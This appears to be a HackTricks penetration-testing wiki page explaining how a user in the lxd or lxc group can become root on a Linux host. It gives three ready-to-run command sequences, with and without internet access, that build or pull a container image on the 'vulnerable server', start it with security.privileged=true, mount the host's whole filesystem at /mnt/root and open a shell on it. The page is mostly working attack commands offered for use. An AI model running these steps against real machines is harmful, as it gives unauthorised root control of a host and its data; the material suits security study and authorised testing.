hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md

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# lxd/lxc Group - Privilege escalation
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
## Exploiting without internet
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
```bash
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
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# If that fails, run it adding -o image.release=3.8 at the end.
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```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
Add the image:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
Create a container and add root path
```bash
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
Execute the container:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
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# If you got error
ERROR: unsatisfiable constraints:
alpine-base (missing):
required by: world[alpine-base]
Failed to install rootfs
# Maybe the error is due to mirror sites but it will create a rootfs directory in same folder i.e "lxd-alpine-builder" .
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1.) Edit the file rootfs/usr/share/alpine-mirrors/Mirrors.txt deleting all the entries but the first one, do the same with mirrors.yaml.
2.) Again run - sudo ./build-alpine -a i686
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# import the image
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lxc image import ./alpine.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
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# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd_root)
## With internet
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## Other Refs
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}